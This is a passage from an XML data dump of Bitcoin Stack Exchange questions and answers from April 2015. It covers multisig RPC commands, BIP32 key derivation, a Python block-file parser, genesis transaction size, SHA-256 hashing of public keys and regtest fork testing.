  <row Id="36791" PostTypeId="2" ParentId="36788" CreationDate="2015-04-06T12:54:36.723" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;Addmultisigaddress 2 &lt;code&gt;[{&quot;address/pubkey of Bitcoincore address&quot;, &quot;pubkey of other wallet key&quot;}]&lt;/code&gt;&lt;/em&gt; should return the P2SH address (&lt;a href=&quot;https://blockchain.info/address/3MWpeBDwJdk8F7fecZBZ6FHjDJVnGxpnRA&quot; rel=&quot;nofollow&quot;&gt;3MWpeBDwJdk8F7fecZBZ6FHjDJVnGxpnRA&lt;/a&gt;) and also add &lt;a href=&quot;https://blockchain.info/address/3MWpeBDwJdk8F7fecZBZ6FHjDJVnGxpnRA&quot; rel=&quot;nofollow&quot;&gt;3MWpeBDwJdk8F7fecZBZ6FHjDJVnGxpnRA&lt;/a&gt; to the UTXOs&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;importaddress &lt;code&gt;3MWpeBDwJdk8F7fecZBZ6FHjDJVnGxpnRA&lt;/code&gt;&lt;/em&gt; will add the P2SH address to the wallet as &lt;em&gt;WatchOnly&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm assuming you're not running a full node, using the &lt;em&gt;&lt;code&gt;txindex=1&lt;/code&gt;&lt;/em&gt; flag, so the &lt;em&gt;&lt;code&gt;addmultisigaddress&lt;/code&gt;&lt;/em&gt; command is what you're going to need to redeem &lt;a href=&quot;https://blockchain.info/address/3MWpeBDwJdk8F7fecZBZ6FHjDJVnGxpnRA&quot; rel=&quot;nofollow&quot;&gt;3MWpeBDwJdk8F7fecZBZ6FHjDJVnGxpnRA&lt;/a&gt; in Bitcoincore. FYI, &lt;em&gt;createmultisig&lt;/em&gt; has the same parameters as &lt;em&gt;addmultisigaddress&lt;/em&gt; (&lt;a href=&quot;https://bitcoin.org/en/developer-reference%23createmultisig&quot; rel=&quot;nofollow&quot;&gt;RPC reference&lt;/a&gt;) but it's returning the redeem script only; ie it is &lt;em&gt;not&lt;/em&gt; adding the P2SH address to the UTXOs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned already, for all multisig commands you'll need the full pubkey (hex version, starting with 0x04 or 0x02/03 for compressed). The only reason you can substitute the Base58Check address into Bitcoincore as a public key is because the software retrieves the pubkey from the wallet and substitutes it accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative way to go about it is by using &lt;em&gt;dumpprivkey&lt;/em&gt;/&lt;em&gt;validateaddress&lt;/em&gt; to get the Bitcoincore keys required and then import the private key into the other wallet software and sign/redeem with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;EDIT:&lt;/em&gt;&lt;/strong&gt; I've tested out importing non-wallet.dat pubkeys for a multisig P2SH address and have successfully added the Tx to the UTXOs returned by &lt;code&gt;listunspent&lt;/code&gt;, with the only difference being that the JSON return data will have &lt;code&gt;spendable: false&lt;/code&gt;. I did it as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;addmultisigaddress 2 '[&quot;pubkey1&quot;, &quot;pubkey2&quot;]'&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Take the returned P2SH address ...&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;importaddress 3MWpeBDwJdk8F7fecZBZ6FHjDJVnGxpnRA &quot;TESTING&quot; true&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Wait for scan to complete&lt;/li&gt;&#xA;&lt;li&gt;Funded 3MWpeBDwJdk8F7fecZBZ6FHjDJVnGxpnRA with &lt;code&gt;createrawtransaction&lt;/code&gt;/&lt;code&gt;signrawtransaction&lt;/code&gt;/&lt;code&gt;sendrawtransaction&lt;/code&gt; (but I'm sure you can do it using the GUI&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;listunspent 0&lt;/code&gt; will return JSON array (including &lt;code&gt;0&lt;/code&gt; confirms) with an object showing &lt;code&gt;redeemScript&lt;/code&gt; but with &lt;code&gt;spendable:&lt;/code&gt; &lt;em&gt;false&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;You'll need to redeem the Tx using &lt;code&gt;createrawtransaction&lt;/code&gt; with the privatekeys passed as parameters to spend this, obviously&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-04-09T02:29:42.577" LastActivityDate="2015-04-09T02:29:42.577" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36792" PostTypeId="2" ParentId="36383" CreationDate="2015-04-06T13:15:01.047" Score="3" Body="&lt;p&gt;I don't know where you found this formula, here is &lt;a href=&quot;https://github.com/NicolasDorier/NBitcoin/blob/master/NBitcoin/Key.cs#L181&quot; rel=&quot;nofollow&quot;&gt;the code&lt;/a&gt; to derivate a childkey, the BIP is &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, it does not look like your formula, but I'll try to respond to some of your questions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;I just got a little confused about this. Is s the mnemonic seed that user knows? which generates the private keys.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A mnemonic seed is just a sentence that permit you to get the master key with (optionally) a password. A master key is the real important piece of information, a mnemonic is only a way to generate one that can be write it down in words.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Secondly a service provider only needs to know sG to calculate the user's next address. Am I right?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your formula does not look like what is in the BIP, so I can't really comment on that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;And lastly more importantly I am just wondering whether it is possible to calculate the master private key (seed) if an attacker or service provider gets one child's private key address?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes, if all the children in the path to the leaked private are non-hardened keys AND the root HD PubKey leaked. I explain that P 35 of &lt;a href=&quot;https://aois.blob.core.windows.net/public/Blockchain%20Programming%20in%20CSharp.pdf&quot; rel=&quot;nofollow&quot;&gt;my book&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A non-hardened key can “climb” the hierarchy.&#xA;Non-hardened key should only be used for categorizing accounts that belongs to a single control. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21478" LastActivityDate="2015-04-06T13:15:01.047" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36793" PostTypeId="2" ParentId="30285" CreationDate="2015-04-06T14:25:27.127" Score="2" Body="&lt;p&gt;The reason you pre-generate some forward keys is to avoid the situation you describe, if you only looked ahead one you risk missing a transaction in the current block (the order of the transactions in the block are unrelated to the order of your keys). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The term &quot;gap limit&quot; refers to a parameter of non bloomfilter SPV clients which do look ups by querying an address based index on a remote peer. The gap limit is the end stop of the current wallet state, when the scanning wallet sees 10 empty address results in a row they decide that's probably the last used address in the wallet and give up generating further. If there wasn't a gap limit in place they would search unused addresses until the end of time (or 2**128, which ever came first). &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-04-06T14:25:27.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36794" PostTypeId="2" ParentId="36321" CreationDate="2015-04-06T14:38:32.913" Score="1" Body="&lt;p&gt;Of course you can :) Bitcoin full node keeps a blockchain database in local machine. &lt;br&gt;&#xA;Here is a step-by-step instruction to get the genesis transaction information. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;li&gt; Find block data file.s In mac, it locates at &lt;b&gt;&quot;~/Library/Application Support/Bitcoin/blocks/blkxxxxx.dat&quot;&lt;/b&gt; &lt;/li&gt;&#xA;&lt;li&gt; Use the given following code to decode the genesis block&lt;/li&gt;&#xA;&lt;li&gt; Now got every detail about the genesis block and the coinbase transaction in genesis block, including  tx_version, tx_input_num, tx_prev_output, script_length, scriptsig, sequence, tx_output_num ... &lt;/li&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import struct # make conversation between Python values and C structsrepresented as Python strings&#xA;import StringIO # Reads and writes a string buffer&#xA;import mmap # mutable string&#xA;&#xA;class BCDataStream(object):&#xA;  def __init__(self):&#xA;    self.input = None&#xA;    self.read_cursor = 0&#xA;&#xA;  def clear(self):&#xA;    self.input = None&#xA;    self.read_cursor = 0&#xA;&#xA;  def write(self, bytes):  # Initialize with string of bytes&#xA;    if self.input is None:&#xA;      self.input = bytes&#xA;    else:&#xA;      self.input += bytes&#xA;&#xA;  def map_file(self, file, start):  # Initialize with bytes from file&#xA;    self.input = mmap.mmap(file.fileno(), 0, access=mmap.ACCESS_READ)&#xA;    self.read_cursor = start&#xA;  def seek_file(self, position):&#xA;    self.read_cursor = position&#xA;  def close_file(self):&#xA;    self.input.close()&#xA;&#xA;  def read_string(self):&#xA;    # Strings are encoded depending on length:&#xA;    # 0 to 252 :  1-byte-length followed by bytes (if any)&#xA;    # 253 to 65,535 : byte'253' 2-byte-length followed by bytes&#xA;    # 65,536 to 4,294,967,295 : byte '254' 4-byte-length followed by bytes&#xA;    # ... and the Bitcoin client is coded to understand:&#xA;    # greater than 4,294,967,295 : byte '255' 8-byte-length followed by bytes of string&#xA;    # ... but I don't think it actually handles any strings that big.&#xA;    if self.input is None:&#xA;      raise SerializationError(&quot;call write(bytes) before trying to deserialize&quot;)&#xA;&#xA;    try:&#xA;      length = self.read_compact_size()&#xA;    except IndexError:&#xA;      raise SerializationError(&quot;attempt to read past end of buffer&quot;)&#xA;&#xA;    return self.read_bytes(length)&#xA;&#xA;  def write_string(self, string):&#xA;    # Length-encoded as with read-string&#xA;    self.write_compact_size(len(string))&#xA;    self.write(string)&#xA;&#xA;  def read_bytes(self, length):&#xA;    try:&#xA;      result = self.input[self.read_cursor:self.read_cursor+length]&#xA;      self.read_cursor += length&#xA;      return result&#xA;    except IndexError:&#xA;      raise SerializationError(&quot;attempt to read past end of buffer&quot;)&#xA;&#xA;    return ''&#xA;&#xA;  def read_boolean(self): return self.read_bytes(1)[0] != chr(0)&#xA;  def read_int16  (self): return self._read_num('&amp;lt;h')&#xA;  def read_uint16 (self): return self._read_num('&amp;lt;H')&#xA;  def read_int32  (self): return self._read_num('&amp;lt;i')&#xA;  def read_uint32 (self): return self._read_num('&amp;lt;I')&#xA;  def read_int64  (self): return self._read_num('&amp;lt;q')&#xA;  def read_uint64 (self): return self._read_num('&amp;lt;Q')&#xA;&#xA;  def write_boolean(self, val): return self.write(chr(1) if val else chr(0))&#xA;  def write_int16  (self, val): return self._write_num('&amp;lt;h', val)&#xA;  def write_uint16 (self, val): return self._write_num('&amp;lt;H', val)&#xA;  def write_int32  (self, val): return self._write_num('&amp;lt;i', val)&#xA;  def write_uint32 (self, val): return self._write_num('&amp;lt;I', val)&#xA;  def write_int64  (self, val): return self._write_num('&amp;lt;q', val)&#xA;  def write_uint64 (self, val): return self._write_num('&amp;lt;Q', val)&#xA;&#xA;  def read_compact_size(self):&#xA;    size = ord(self.input[self.read_cursor])&#xA;    self.read_cursor += 1&#xA;    if size == 253:&#xA;      size = self._read_num('&amp;lt;H')&#xA;    elif size == 254:&#xA;      size = self._read_num('&amp;lt;I')&#xA;    elif size == 255:&#xA;      size = self._read_num('&amp;lt;Q')&#xA;    return size&#xA;&#xA;  def write_compact_size(self, size):&#xA;    if size &amp;lt; 0:&#xA;      raise SerializationError(&quot;attempt to write size &amp;lt; 0&quot;)&#xA;    elif size &amp;lt; 253:&#xA;       self.write(chr(size))&#xA;    elif size &amp;lt; 2**16:&#xA;      self.write('\xfd')&#xA;      self._write_num('&amp;lt;H', size)&#xA;    elif size &amp;lt; 2**32:&#xA;      self.write('\xfe')&#xA;      self._write_num('&amp;lt;I', size)&#xA;    elif size &amp;lt; 2**64:&#xA;      self.write('\xff')&#xA;      self._write_num('&amp;lt;Q', size)&#xA;&#xA;  def _read_num(self, format):&#xA;    (i,) = struct.unpack_from(format, self.input, self.read_cursor)&#xA;    self.read_cursor += struct.calcsize(format)&#xA;    return i&#xA;&#xA;  def _write_num(self, format, num):&#xA;    s = struct.pack(format, num)&#xA;    self.write(s)&#xA;&#xA;&#xA;def import_blkdat():&#xA;    pass&#xA;&#xA;&#xA;&#xA;ds = BCDataStream()&#xA;file = open(&quot;/Users/junton/Library/Application Support/Bitcoin/blocks/blk00000.dat&quot;, &quot;rb&quot;)&#xA;ds.map_file(file, 0)&#xA;&#xA;# Read file&#xA;# https://bitcoin.org/en/developer-reference#block-headers&#xA;# https://en.bitcoin.it/wiki/Protocol_specification#block&#xA;magic            = ds.read_bytes(4).encode('hex')&#xA;block_size       = int(ds.read_bytes(4).encode('hex'), 16)&#xA;version          = ds.read_bytes(4).encode('hex')&#xA;prev_header_hash = ds.read_bytes(32).encode('hex')&#xA;merkle_root_hash = ds.read_bytes(32).encode('hex')&#xA;timestamp        = ds.read_bytes(4).encode('hex')&#xA;nBits            = ds.read_bytes(4).encode('hex')&#xA;nonce            = ds.read_bytes(4).encode('hex')&#xA;&#xA;num_of_transaction = ds.read_bytes(1).encode('hex')&#xA;tx_version         = ds.read_bytes(4).encode('hex')&#xA;tx_input           = ds.read_bytes(1).encode('hex')&#xA;tx_prev_output     = ds.read_bytes(36).encode('hex')&#xA;script_length      = ds.read_bytes(1).encode('hex')&#xA;scriptsig          = ds.read_bytes(int((script_length), 16)).encode('hex')&#xA;sequence           = ds.read_bytes(4).encode('hex')&#xA;tx_output          = ds.read_bytes(1).encode('hex')&#xA;BTC_num            = ds.read_bytes(8).encode('hex')&#xA;pk_script_len      = ds.read_bytes(1).encode('hex')&#xA;pk_script          = ds.read_bytes(int(pk_script_len, 16)).encode('hex')&#xA;lock_time          = ds.read_bytes(4).encode('hex')&#xA;&#xA;&#xA;print 'magic: '       + magic&#xA;print 'block_size: '  + str(block_size)&#xA;print 'version: '     + version&#xA;print 'prevHash: '    + prev_header_hash&#xA;print 'merkle_root: ' + merkle_root_hash&#xA;print 'timestamp: '   + timestamp&#xA;print 'nBits: '       + nBits&#xA;print 'nonce: '       + nonce&#xA;&#xA;print '--------------------- Transaction Details: ---------------------'&#xA;print 'num_of_transaction: ' + num_of_transaction&#xA;print 'tx_version: ' + tx_version&#xA;print 'tx_input_num: ' + tx_input&#xA;print 'tx_prev_output: ' + tx_prev_output&#xA;print 'script_length: ' + script_length&#xA;print 'scriptsig: ' + scriptsig&#xA;print 'sequence: ' + sequence&#xA;print 'tx_ouput_num: ' + tx_output&#xA;print 'BTC_num: ' + BTC_num&#xA;print 'pk_script_len: ' + pk_script_len&#xA;print 'pk_script: ' + pk_script&#xA;print 'lock_time: ' + lock_time&#xA;&#xA;ds.close_file()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-04-06T14:38:32.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36795" PostTypeId="2" ParentId="36531" CreationDate="2015-04-06T14:47:25.690" Score="1" Body="&lt;p&gt;Solution found! &lt;br&gt;&#xA;Bitcoin client use checkpoints to prevent 51% attack. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1797/what-are-checkpoints&quot;&gt;What are checkpoints?&lt;/a&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modifying checkpoints in chainparams.cpp solve this sync problem.&lt;/p&gt;&#xA;" OwnerUserId="24601" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-04-06T14:47:25.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36797" PostTypeId="5" CreationDate="2015-04-06T15:50:47.270" Score="0" Body="&lt;p&gt;The rpc call is &lt;code&gt;getblocktemplate&lt;/code&gt;. This protocol can be used by pools to help make mining more decentralized by putting the miners in control of their own block creation. The downside is that this does not prevent pools from blacklisting, as pools can still limit miners' control via omission of valid transactions.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-04-06T15:50:47.270" LastActivityDate="2015-04-06T15:50:47.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36798" PostTypeId="4" CreationDate="2015-04-06T15:50:47.270" Score="0" Body="A protocol to allow pools to specify a set of valid transactions but give the control over which transactions to include to miners." OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-04-06T15:50:47.270" LastActivityDate="2015-04-06T15:50:47.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36799" PostTypeId="1" AcceptedAnswerId="36801" CreationDate="2015-04-06T18:35:36.013" Score="0" ViewCount="384" Body="&lt;p&gt;I see that many different altcoins have different lengths for the initial genesis tx.  How would I go about finding the length of the initial genesis tx?  I saw another answer but I have no need of making it as complicated; I just need the length and nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, Bitcoin's is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a01000000434104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, altcoins have different lengths.  Is there an identifier I can use to determine the length of the genesis tx and nothing else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I am making a block explorer so I cannot use a block explorer to help me in getting info.&lt;/p&gt;&#xA;" OwnerUserId="24968" LastEditorUserId="24968" LastEditDate="2015-04-06T19:09:46.337" LastActivityDate="2015-04-06T19:40:48.243" Title="Trying to find the raw genesis transaction length" Tags="|raw-transaction|genesis-block|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36800" PostTypeId="1" CreationDate="2015-04-06T18:52:22.397" Score="2" ViewCount="25607" Body="&lt;p&gt;I am a student and doing research on Bitcoin. I wanted to know how mining is done but I wanted it see the some basic java code. Can some one provide me with resources? I would appreciate if some one can suggest me some libraries to look into. I checked BitcoinJ but found out that it does not support mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="24969" LastEditorUserId="5406" LastEditDate="2016-02-08T12:54:10.623" LastActivityDate="2024-02-27T08:51:21.193" Title="Java code for Bitcoin Mining?" Tags="|java|mining-software|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36801" PostTypeId="2" ParentId="36799" CreationDate="2015-04-06T19:02:26.930" Score="2" Body="&lt;p&gt;Unfortunately, the genesis block is not indexed in most altcoins (because they forked from bitcoin and kept the same bug), so you can't really get access to it via the RPC methods. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do instead:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use a block explorer that will tell you the size of the transaction. For example, &lt;a href=&quot;https://blockchain.info/tx/4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; makes this information available (204 bytes).&lt;/li&gt;&#xA;&lt;li&gt;Find the parameters file and put a print the size of the genesis block to stdout. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The second option basically entails putting the following lines at the end of &lt;code&gt;CMainParams()&lt;/code&gt; and then compiling. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CDataStream ssBlock(SER_NETWORK, PROTOCOL_VERSION);&#xA;ssBlock &amp;lt;&amp;lt; genesis;&#xA;printf(&quot;block: %s\n&quot;, HexStr(ssBlock.begin(), ssBlock.end()).c_str());&#xA;printf(&quot;block size: %i\n&quot;, (int)::GetSerializeSize(genesis, SER_NETWORK, PROTOCOL_VERSION));&#xA;printf(&quot;tx size: %i\n&quot;, (int)::GetSerializeSize(genesis.vtx[0], SER_NETWORK, PROTOCOL_VERSION));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will print the raw block data, it's size, and the transaction's size. (Note, this is untested, but something along these lines should work)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: It's possible, although not the norm, to put multiple transactions in a genesis block. Just check that your assumption is correct.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-04-06T19:40:48.243" LastActivityDate="2015-04-06T19:40:48.243" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="36802" PostTypeId="1" AcceptedAnswerId="36803" CreationDate="2015-04-06T20:36:10.760" Score="3" ViewCount="3972" Body="&lt;p&gt;I am following &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt;, trying to perform SHA-256 on a given public key. &lt;br&gt;&#xA;However, I cannot get the expected result. &lt;br&gt; &#xA;I am using the sha256 library in python &lt;b&gt;hashlib&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The input is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Mine output is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;32511e82d56dcea68eb774094e25bab0f8bdd9bc1eca1ceeda38c7a43aceddce&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The expected output on bitcoin.it is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;600FFE422B4E00731A59557A5CCA46CC183944191006324A447BDB2D98D4B408&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I miss anything? &lt;/p&gt;&#xA;" OwnerUserId="24601" LastEditorUserId="47827" LastEditDate="2020-12-05T14:54:04.047" LastActivityDate="2020-12-05T14:54:04.047" Title="About performing SHA-256 hashing on the public key" Tags="|hash|public-key|encoding|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36803" PostTypeId="2" ParentId="36802" CreationDate="2015-04-06T20:42:46.917" Score="7" Body="&lt;p&gt;The result you are getting (&lt;code&gt;3251...&lt;/code&gt;)&#xA;is the result of sha256 on the &lt;em&gt;string&lt;/em&gt; &lt;code&gt;0450...&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The expected output on bitcoin.it is the result of sha256 on the &lt;em&gt;bytes&lt;/em&gt; that are currently hex-encoded. &lt;strong&gt;To resolve this, hex-decode before hashing your input.&lt;/strong&gt; &lt;a href=&quot;http://ideone.com/uFKgAI&quot; rel=&quot;nofollow&quot;&gt;In Python 2:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;import hashlib&#xA;in_data = &quot;0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6&quot;.decode('hex')&#xA;my_sha = hashlib.sha256()&#xA;my_sha.update(in_data)&#xA;output = my_sha.digest().encode('hex')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That should retain &lt;code&gt;output&lt;/code&gt; with the expected value. &lt;/p&gt;&#xA;" OwnerUserId="18227" LastEditorUserId="18227" LastEditDate="2015-04-08T15:50:18.870" LastActivityDate="2015-04-08T15:50:18.870" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36804" PostTypeId="2" ParentId="36649" CreationDate="2015-04-06T21:07:23.113" Score="5" Body="&lt;p&gt;I managed to test forks by creating 3 reg test nodes. One node is used to interface with my software, and two other nodes are used to hold competing blockchains. The regtest mode starts each node with no connections to begin with, so they are completely isolated. I can use &quot;sendrawtransaction&quot; and &quot;setgenerate&quot; on these isolated nodes to create competing chains. However, the nodes need to sync to test fork scenarios. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turned out to be easy to synchronise nodes. I sync the competing nodes with the interface node with help of the RPC command &quot;disconnectpeer&quot; which you can find &lt;a href=&quot;https://github.com/gavinandresen/bitcoin-git/commit/499ae0b3d77e1c41d79f34329d555980676d1f3a&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. My synchronisation code is as follows in pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sync (node1, node2)&#xA;&#xA;    if node2.height &amp;lt; node1.height then&#xA;        sync(node2, node1)&#xA;        return&#xA;&#xA;    node1.rpc(&quot;addnode&quot;, &quot;localhost:&quot; + node2.port, &quot;onetry&quot;)&#xA;&#xA;    wait while node1.rpc(&quot;get_info&quot;)[&quot;blocks&quot;] is not node1.height&#xA;&#xA;    node1.height = node2.height&#xA;    node1.rpc(&quot;disconnectpeer&quot;, node1.rpc(&quot;getpeerinfo&quot;)[0][&quot;id&quot;])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After the function is complete the nodes will remain isolated once again so that you can work on creating new competing chains.&lt;/p&gt;&#xA;" OwnerUserId="1439" LastActivityDate="2015-04-06T21:07:23.113" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36807" PostTypeId="1" AcceptedAnswerId="36809" CreationDate="2015-04-07T06:17:23.807" Score="0" ViewCount="236" Body="&lt;p&gt;When or how frequently do miners get paid for transaction fees?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="5406" LastEditDate="2016-02-08T12:57:59.140" LastActivityDate="2016-02-08T12:57:59.140" Title="When / how frequently do miners get paid for transaction fees?" Tags="|transaction-fees|mining-reward|coinbase-transaction|" AnswerCount="1" CommentCount="2" ClosedDate="2015-04-07T08:32:20.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="36809" PostTypeId="2" ParentId="36807" CreationDate="2015-04-07T08:30:08.853" Score="2" Body="&lt;p&gt;With every block the successful mining entity reaps all the included transaction's fees. So, in the case of solo mining, a miner gets paid transaction fees every time he finds a block, in the case of a mining pool a miner's payouts depend on the mining pool's policies.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-04-07T09:02:47.967" LastActivityDate="2015-04-07T09:02:47.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36810" PostTypeId="2" ParentId="36700" CreationDate="2015-04-07T15:12:12.190" Score="1" Body="&lt;p&gt;The Bitcoin network is fairly simple in terms of its core security, so &lt;strong&gt;technically&lt;/strong&gt; there are three things these companies/projects can do to contribute:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run and/or encourage development of the bitcoind codebase (including code reviews)&lt;/li&gt;&#xA;&lt;li&gt;Run and/or encourage a higher number of solo miners&lt;/li&gt;&#xA;&lt;li&gt;Run and/or encourage a higher number of full nodes&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Point 3 is especially important and a no-brainer for any project that depends on the blockchain. Running your own full node(s) is a must, so that you don't have to trust a third party node. The tragedy of the commons does not apply to this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each full node adds a layer of security to the network by verifying all transactions and blocks, reducing the chance for foul play, even from &quot;malicious&quot; miners.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2015-04-07T15:12:12.190" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36812" PostTypeId="2" ParentId="4445" CreationDate="2015-04-07T16:26:50.480" Score="1" Body="&lt;p&gt;Bitpay's &lt;a href=&quot;https://insight.is/&quot; rel=&quot;nofollow&quot;&gt;insight&lt;/a&gt; project supports and has a &lt;a href=&quot;https://test-insight.bitpay.com&quot; rel=&quot;nofollow&quot;&gt;live version of the testnet.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2015-04-07T16:26:50.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36814" PostTypeId="1" AcceptedAnswerId="36819" CreationDate="2015-04-07T16:48:43.987" Score="1" ViewCount="259" Body="&lt;p&gt;Do AntMiners comply with &lt;a href=&quot;http://en.wikipedia.org/wiki/Title_47_CFR_Part_15&quot; rel=&quot;nofollow&quot;&gt;Part 15&lt;/a&gt; of the U.S. Federal Communication Commission's rules and regulations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tagged this question with &quot;safety&quot; because implicit in my question is what percentage of watts going into an AntMiner get converted to RF interference. If it's a lot, it could be a safety issue, especially since the cases of many AntMiners (e.g., S5s) are open and thus do not act as Faraday cages.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2015-04-07T16:58:51.390" LastActivityDate="2016-01-04T23:59:40.950" Title="Do AntMiners comply with FCC Part 15?" Tags="|safety|antminer|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" 